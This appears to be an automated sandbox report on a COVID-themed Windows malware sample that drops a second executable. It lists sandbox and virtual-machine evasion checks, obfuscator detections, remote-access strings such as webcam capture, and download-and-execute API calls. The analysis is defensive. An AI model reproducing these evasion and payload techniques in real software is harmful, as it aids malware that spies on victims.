Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: UK COVID UPDATES AND ENTITLEMENT.exe	Binary or memory string: SBIEDLL.DLL
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 0000001C.00000000.430910958.0000000000400000.00000040.00000001.sdmp	Binary or memory string: MSBIEDLL.DLL

Yara detected Beds Obfuscator

Show sources

Source: Yara match	File source: 28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2ef094d.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.0.dwnl.exe.842704.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.dwnl.exe.842704.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2fcf496.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.dwnl.exe.820000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.0.dwnl.exe.820000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2faeb92.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2ef094d.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2f5ff06.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2f5ff06.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2f5ff06.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2ef094d.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2f5ff06.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000021.00000000.430155447.0000000000822000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.424932368.0000000002FAF000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.492777549.0000000000822000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.464230298.0000000002ED1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.424995684.0000000002ED1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000000.432421502.0000000002ED0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.464012145.0000000002F40000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000000.429908152.0000000002ED0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: UK COVID UPDATES AND ENTITLEMENT.exe PID: 6720, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: dwnl.exe PID: 2896, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\dwnl.exe, type: DROPPED

Contains functionality to detect virtual machines (IN, VMware)

Show sources

Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe

Code function: 28_2_00401102 in eax, dx

Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe TID: 6364	Thread sleep time: -32000s >= -30000s
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe TID: 6396	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6760	Thread sleep time: -15679732462653109s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 28_2_0040374A GetKeyboardLayout followed by cmp: cmp ax, cx and CTI: je 0040376Fh
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 28_2_0040374A GetKeyboardLayout followed by cmp: cmp ax, dx and CTI: jne 0040376Fh

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4713
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4309

Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe

Source: UK COVID UPDATES AND ENTITLEMENT.exe	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: WerFault.exe, 00000022.00000002.466462532.0000000005400000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW.
Source: dwnl.exe, 00000021.00000002.497205914.0000000000E92000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll%
Source: WerFault.exe, 00000022.00000002.466462532.0000000005400000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: WerFault.exe, 00000022.00000002.466462532.0000000005400000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAWHEB
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 0000001C.00000000.429455278.0000000000C98000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.418169362.0000000002F23000.00000004.00000001.sdmp, UK COVID UPDATES AND ENTITLEMENT.exe, 0000001C.00000000.430910958.0000000000400000.00000040.00000001.sdmp	Binary or memory string: @HARDWARE\ACPI\DSDT\VBOX__PROCMON_WINDOW_CLASSPROCEXPL21invalid vector<T> subscript?playaudiodatafmt WAVERIFF.wav%Y-%m-%d %H.%MgetcamsingleframenocamerastartcamcapclosecamgetcamframeinitcamcapFreeFrameGetFrameCloseCameraOpenCameracamdlldatacamframe\|dmc\|[DataStart][DataStart]0000%02i:%02i:%02i:%03i [KeepAlive] Enabled! (Timeout: %i seconds)

Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe

Process information queried: ProcessInformation

Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 28_2_0040A71E ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,SetEvent,FindCloseChangeNotification,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,atoi,GetTickCount,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,atoi,atoi,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,URLDownloadToFileA,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,ShellExecuteA,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 28_2_00402C45 _EH_prolog,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,socket,connect,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,_CxxThrowException,?begin@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?end@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?begin@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@PBG@Z,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,FindFirstFileW,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,_CxxThrowException,FindNextFileW,wcscmp,wcscmp,wcscmp,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@PBGABV?$allocator@G@1@@Z,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@